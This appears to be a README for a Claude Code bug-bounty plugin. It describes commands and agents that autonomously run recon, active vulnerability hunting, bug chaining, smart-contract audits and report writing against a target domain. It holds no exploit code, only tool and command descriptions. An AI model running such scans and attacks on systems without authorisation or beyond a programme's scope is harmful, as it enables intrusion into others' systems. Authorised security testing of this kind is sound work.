/recon target.com # step 1: map the target (subdomains, live pages, URLs)
/hunt target.com # step 2: test for vulnerabilities
/validate # step 3: make sure the finding is real before writing it up
/report # step 4: generate a professional submission report
That's the core loop. Four commands, full workflow.
Step 3 — Go autonomous
/autopilot target.com --normal # AI does the whole thing, pauses for your review at the end
/pickup target.com # continue where you left off on a previous target
/intel target.com # get CVEs + disclosed reports relevant to this target
Don't use Claude Code? Run the Python tools directly:
python3 tools/hunt.py --target target.com ./tools/recon_engine.sh target.com
Think of it like a team of specialists, each doing one job:
YOU
|
┌─────▼─────┐
│ Claude │ ◄── Burp MCP (sees your browser traffic)
│ Code │ ◄── HackerOne MCP (program intel)
└─────┬─────┘
|
┌───────────────┼───────────────┐
| | |
┌─────▼─────┐ ┌──────▼──────┐ ┌────▼────┐
│ Recon │ │ Hunt │ │ Report │
│ (map it) │ │ (test it) │ │(write it│
└─────┬─────┘ └──────┬──────┘ └────┬────┘
| | |
finds all checks for formats for
subdomains, vulnerabilities HackerOne /
URLs, APIs & validates Bugcrowd /
findings Immunefi
| | |
┌─────▼───────────────▼───────────────▼─────┐
│ Hunt Memory │
│ remembers everything across sessions │
└────────────────────────────────────────────┘
Each step feeds the next. Claude orchestrates all of it, or you run any step on its own.
| Command | What It Does | When To Use |
|:---|:---|:---|
| /recon target.com | Maps the target — finds all subdomains, live pages, APIs, and runs basic scans | Always first |
| /hunt target.com | Actively tests for vulnerabilities using the right technique for the tech stack | After recon |
| /validate | Runs a 7-question check to confirm a finding is real before you write it up | Before every report |
| /report | Generates a professional submission report for H1/Bugcrowd/Intigriti/Immunefi | After validation |
| Command | What It Does |
|:---|:---|
| /autopilot target.com | AI runs the full loop automatically — recon → hunt → validate → report |
| /surface target.com | Shows a ranked list of the best places to test (based on your past findings) |
| /pickup target.com | Shows untested endpoints from last session and picks up where you left off |
| /remember | Saves the current finding or technique to memory for future use |
| /intel target.com | Pulls CVEs and past disclosed reports relevant to this target |
| /chain | When you find bug A, this finds bugs B and C that usually come with it |
| /scope <asset> | Checks if a domain or URL is in scope before you test it |
| /triage | Quick 2-minute go/no-go check — should you keep investigating or move on? |
| /web3-audit <contract> | Full smart contract security audit with 10 bug class checklist |
| /token-scan <contract> | Scans a meme coin or token for rug pull signals (EVM + Solana) |
8 specialized agents, each built for one job:
| Agent | What It Does | |:---|:---| | recon-agent | Finds all subdomains, live hosts, and URLs for a target | | report-writer | Writes professional, impact-first reports that get paid | | validator | Runs the 7-Question Gate — kills weak findings before you waste time | | web3-auditor | Audits smart contracts for 10 common vulnerability classes | | chain-builder | When you find one bug, finds the chain of related bugs | | autopilot | Runs the whole hunt loop autonomously with safety checkpoints | | recon-ranker | Ranks the attack surface so you test the highest-value targets first | | token-auditor | Fast meme coin / token rug pull and security analysis |
/remember. Now the flywheel starts on day 1.install_tools.sh added to Quick Start (was missing)hunt-memory/ added to .gitignore (contains full URL history, shouldn't be committed)/token-scan <contract> — automated rug pull scanner for EVM and Solana tokensskills/meme-coin-audit/ — 8 token bug classes: mint authority, freeze authority, LP locks, honeypot detection, bonding curve exploits, Solana SPL checkstoken-auditorNo comments yet. Be the first to share your thoughts!
Top skills in this category by stars